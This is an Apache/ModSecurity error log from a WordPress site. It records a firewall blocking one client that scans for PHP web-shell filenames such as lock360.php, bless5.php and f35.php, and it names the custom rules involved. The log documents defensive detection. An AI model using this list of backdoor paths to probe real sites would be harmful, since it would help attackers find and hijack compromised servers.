[Wed Jan 21 01:08:50.630291 2026] [:error] [pid 54260:tid 54321] [client 20.230.68.0:13242] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aW-2otg7jS3jmpUN0WBIqAAAAU0"]
[Wed Jan 21 01:08:51.170357 2026] [:error] [pid 54382:tid 54393] [client 20.230.68.0:13300] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aW-2o0TJlZ9SJ6sBOEvnlwAAAAg"]
[Wed Jan 21 01:08:51.723844 2026] [:error] [pid 17295:tid 17317] [client 20.230.68.0:13236] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aW-2o_ZJhGdrcqZICT_MpwAAAZM"]
[Wed Jan 21 01:08:52.158072 2026] [:error] [pid 17295:tid 17308] [client 20.230.68.0:13243] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aW-2pPZJhGdrcqZICT_MqAAAAYo"]
[Wed Jan 21 01:08:52.882815 2026] [:error] [pid 17295:tid 17306] [client 20.230.68.0:13235] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aW-2pPZJhGdrcqZICT_MqQAAAYg"]
[Wed Jan 21 01:08:53.427085 2026] [:error] [pid 17340:tid 17359] [client 20.230.68.0:13118] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aW-2pfAsOSYVgw_35t3Y_wAAAkM"]
[Wed Jan 21 01:08:54.186175 2026] [:error] [pid 54260:tid 54313] [client 20.230.68.0:13059] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aW-2ptg7jS3jmpUN0WBIqQAAAUU"]
[Wed Jan 21 01:08:54.971303 2026] [:error] [pid 17295:tid 17299] [client 20.230.68.0:13141] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aW-2pvZJhGdrcqZICT_MrAAAAYE"]
[Wed Jan 21 01:08:55.414836 2026] [:error] [pid 17295:tid 17313] [client 20.230.68.0:13298] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aW-2p_ZJhGdrcqZICT_MrQAAAY8"]
[Wed Jan 21 01:08:56.210373 2026] [:error] [pid 54260:tid 54312] [client 20.230.68.0:13123] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aW-2qNg7jS3jmpUN0WBIqgAAAUQ"]
[Wed Jan 21 01:08:57.048903 2026] [:error] [pid 54260:tid 54317] [client 20.230.68.0:13244] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aW-2qdg7jS3jmpUN0WBIqwAAAUk"]
[Wed Jan 21 01:08:57.922024 2026] [:error] [pid 56291:tid 56312] [client 20.230.68.0:13156] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aW-2qbXgW_1T5Nikxa0eowAAAFE"]
[Wed Jan 21 01:08:58.870216 2026] [:error] [pid 63647:tid 63650] [client 20.230.68.0:13183] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aW-2qlUaYw1xHOoaFFJCjQAAAgE"]
[Wed Jan 21 01:08:59.488486 2026] [:error] [pid 17340:tid 17377] [client 20.230.68.0:13301] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aW-2q_AsOSYVgw_35t3ZAQAAAlU"]
[Wed Jan 21 01:09:00.018443 2026] [:error] [pid 17295:tid 17310] [client 20.230.68.0:13171] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aW-2rPZJhGdrcqZICT_MtgAAAYw"]
[Wed Jan 21 01:09:00.595642 2026] [:error] [pid 17340:tid 17367] [client 20.230.68.0:13120] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "aW-2rPAsOSYVgw_35t3ZAgAAAks"]
[Wed Jan 21 01:09:01.517751 2026] [:error] [pid 17295:tid 17308] [client 20.230.68.0:13151] [client 20.230.68.0] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aW-2rfZJhGdrcqZICT_MuAAAAYo"]
[Wed Jan 21 01:09:02.005509 2026] [:error] [pid 17340:tid 17370] [client 20.230.68.0:13224] [client 20.230.68.0] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aW-2rvAsOSYVgw_35t3ZAwAAAk4"]
[Wed Jan 21 01:09:02.479656 2026] [:error] [pid 54259:tid 54282] [client 20.230.68.0:13187] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aW-2rg2q1USrePnOoFQhBwAAAIU"]
[Wed Jan 21 01:09:03.159763 2026] [:error] [pid 17295:tid 17316] [client 20.230.68.0:18302] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aW-2r_ZJhGdrcqZICT_MugAAAZI"]
[Wed Jan 21 01:09:03.771478 2026] [:error] [pid 56360:tid 56379] [client 20.230.68.0:13095] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aW-2r01J8CD1rR-wXXuIOwAAARE"]
[Wed Jan 21 01:09:04.406371 2026] [:error] [pid 17295:tid 17321] [client 20.230.68.0:13246] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aW-2sPZJhGdrcqZICT_MvAAAAZc"]
[Wed Jan 21 01:09:04.848055 2026] [:error] [pid 8455:tid 8462] [client 20.230.68.0:13225] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aW-2sIJiHdPVtruynXDhUQAAA0U"]
[Wed Jan 21 01:09:05.403498 2026] [:error] [pid 54260:tid 54327] [client 20.230.68.0:13128] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aW-2sdg7jS3jmpUN0WBIrgAAAVM"]
[Wed Jan 21 01:09:06.255317 2026] [:error] [pid 54260:tid 54315] [client 20.230.68.0:13279] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aW-2stg7jS3jmpUN0WBIrwAAAUc"]
[Wed Jan 21 01:09:06.766449 2026] [:error] [pid 54260:tid 54319] [client 20.230.68.0:13220] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aW-2stg7jS3jmpUN0WBIsQAAAUs"]
[Wed Jan 21 01:09:07.456190 2026] [:error] [pid 56291:tid 56303] [client 20.230.68.0:13080] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aW-2s7XgW_1T5Nikxa0epQAAAEg"]
[Wed Jan 21 01:09:07.977625 2026] [:error] [pid 17340:tid 17362] [client 20.230.68.0:13178] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aW-2s_AsOSYVgw_35t3ZBQAAAkY"]
[Wed Jan 21 01:09:08.552618 2026] [:error] [pid 17340:tid 17356] [client 20.230.68.0:13200] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aW-2tPAsOSYVgw_35t3ZBwAAAkA"]
[Wed Jan 21 01:09:09.147924 2026] [:error] [pid 56291:tid 56300] [client 20.230.68.0:13145] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aW-2tbXgW_1T5Nikxa0epgAAAEU"]
[Wed Jan 21 01:09:09.815206 2026] [:error] [pid 63647:tid 63663] [client 20.230.68.0:13212] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aW-2tVUaYw1xHOoaFFJCjwAAAg4"]
[Wed Jan 21 01:09:10.695456 2026] [:error] [pid 56291:tid 56308] [client 20.230.68.0:13190] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aW-2trXgW_1T5Nikxa0epwAAAE0"]
[Wed Jan 21 01:09:11.273705 2026] [:error] [pid 17340:tid 17357] [client 20.230.68.0:13067] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aW-2t_AsOSYVgw_35t3ZCQAAAkE"]
[Wed Jan 21 01:09:11.976268 2026] [:error] [pid 8455:tid 8457] [client 20.230.68.0:13085] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aW-2t4JiHdPVtruynXDhVAAAA0A"]
[Wed Jan 21 01:09:12.586969 2026] [proxy_fcgi:error] [pid 8455:tid 8474] [client 20.230.68.0:13199] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:09:12.824890 2026] [proxy_fcgi:error] [pid 8455:tid 8481] [client 20.230.68.0:13199] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:09:13.213611 2026] [proxy_fcgi:error] [pid 8455:tid 8476] [client 20.230.68.0:13199] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:09:13.416621 2026] [proxy_fcgi:error] [pid 8455:tid 8473] [client 20.230.68.0:13199] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:09:13.621133 2026] [proxy_fcgi:error] [pid 8455:tid 8480] [client 20.230.68.0:13199] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:09:13.825248 2026] [proxy_fcgi:error] [pid 8455:tid 8475] [client 20.230.68.0:13199] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:09:14.028698 2026] [proxy_fcgi:error] [pid 8455:tid 8479] [client 20.230.68.0:13199] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:09:14.232215 2026] [proxy_fcgi:error] [pid 8455:tid 8471] [client 20.230.68.0:13199] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:09:14.447693 2026] [proxy_fcgi:error] [pid 8455:tid 8468] [client 20.230.68.0:13199] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:09:14.656025 2026] [proxy_fcgi:error] [pid 8455:tid 8470] [client 20.230.68.0:13199] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:09:14.878779 2026] [proxy_fcgi:error] [pid 8455:tid 8467] [client 20.230.68.0:13199] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:09:15.201042 2026] [:error] [pid 8455:tid 8459] [client 20.230.68.0:13199] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ave.php"] [unique_id "aW-2u4JiHdPVtruynXDhYAAAA0I"]
[Wed Jan 21 01:09:15.785671 2026] [:error] [pid 63647:tid 63651] [client 20.230.68.0:13140] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ave.php"] [unique_id "aW-2u1UaYw1xHOoaFFJCkAAAAgI"]
[Wed Jan 21 01:09:16.399628 2026] [:error] [pid 56360:tid 56384] [client 20.230.68.0:13063] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ave.php"] [unique_id "aW-2vE1J8CD1rR-wXXuIPgAAARY"]
[Wed Jan 21 01:09:17.314286 2026] [:error] [pid 8455:tid 8458] [client 20.230.68.0:13173] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ave.php"] [unique_id "aW-2vYJiHdPVtruynXDhYQAAA0E"]
[Wed Jan 21 01:09:18.135667 2026] [:error] [pid 56360:tid 56385] [client 20.230.68.0:13306] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wrt.php"] [unique_id "aW-2vk1J8CD1rR-wXXuIQAAAARc"]
[Wed Jan 21 01:09:18.766530 2026] [:error] [pid 17295:tid 17309] [client 20.230.68.0:13102] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wrt.php"] [unique_id "aW-2vvZJhGdrcqZICT_M0QAAAYs"]
[Wed Jan 21 01:09:19.667812 2026] [:error] [pid 17295:tid 17320] [client 20.230.68.0:18212] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wrt.php"] [unique_id "aW-2v_ZJhGdrcqZICT_M1AAAAZY"]
[Wed Jan 21 01:09:20.458417 2026] [:error] [pid 17295:tid 17304] [client 20.230.68.0:13215] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wrt.php"] [unique_id "aW-2wPZJhGdrcqZICT_M1gAAAYY"]
[Wed Jan 21 01:09:21.098111 2026] [:error] [pid 56326:tid 56348] [client 20.230.68.0:13074] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bibil.php"] [unique_id "aW-2wRA6mi8Uwf45Uy9hKgAAANQ"]
[Wed Jan 21 01:09:21.652645 2026] [:error] [pid 56326:tid 56344] [client 20.230.68.0:13133] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bibil.php"] [unique_id "aW-2wRA6mi8Uwf45Uy9hKwAAANA"]
[Wed Jan 21 01:09:22.135492 2026] [:error] [pid 56360:tid 56362] [client 20.230.68.0:13136] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bibil.php"] [unique_id "aW-2wk1J8CD1rR-wXXuIQQAAAQA"]
[Wed Jan 21 01:09:22.825044 2026] [:error] [pid 56326:tid 56346] [client 20.230.68.0:13142] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bibil.php"] [unique_id "aW-2whA6mi8Uwf45Uy9hLwAAANI"]
[Wed Jan 21 01:09:23.553794 2026] [:error] [pid 8455:tid 8464] [client 20.230.68.0:13227] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aW-2w4JiHdPVtruynXDhZAAAA0c"]
[Wed Jan 21 01:09:24.337362 2026] [:error] [pid 17340:tid 17370] [client 20.230.68.0:13164] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aW-2xPAsOSYVgw_35t3ZDwAAAk4"]
[Wed Jan 21 01:09:24.871776 2026] [:error] [pid 17295:tid 17307] [client 20.230.68.0:13134] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aW-2xPZJhGdrcqZICT_M3AAAAYk"]
[Wed Jan 21 01:09:25.521173 2026] [:error] [pid 17340:tid 17379] [client 20.230.68.0:13152] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aW-2xfAsOSYVgw_35t3ZEAAAAlc"]
[Wed Jan 21 01:09:26.113531 2026] [:error] [pid 63647:tid 63652] [client 20.230.68.0:13061] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aW-2xlUaYw1xHOoaFFJClgAAAgM"]
[Wed Jan 21 01:09:26.753518 2026] [:error] [pid 17295:tid 17299] [client 20.230.68.0:13161] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aW-2xvZJhGdrcqZICT_M3gAAAYE"]
